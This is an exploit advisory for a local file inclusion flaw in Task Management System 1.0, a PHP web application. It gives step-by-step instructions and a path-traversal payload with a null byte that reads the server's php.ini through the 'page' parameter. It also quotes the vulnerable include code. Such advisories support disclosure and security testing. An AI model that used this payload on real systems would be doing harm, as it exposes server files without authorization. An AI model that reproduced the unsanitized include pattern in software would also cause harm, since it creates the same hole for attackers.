Task Management System 1.0 - 'page' Local File Inclusion

# Exploit Title: Task Management System 1.0 - 'page' Local File Inclusion
# Exploit Author: İsmail BOZKURT
# Date: 2020-12-15
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Windows 10 x86_64

Step 1. Log into application with credentials
Step 2. Click on Branch
Step 3. Select New Branch http://127.0.0.1/index.php?page=index
Step 4. change index to ../../../c:/xampp/apache/bin/php.ini%00

Note: php version < 5.3.3

section class="content">
    <div class="container-fluid">
    <?php 
    	$page = isset($_GET['page']) ? $_GET['page'] : 'home';
	    if(!file_exists($page.".php")){
	    include '404.html';
	    }else{
	    include $page.'.php';
    }
    ?>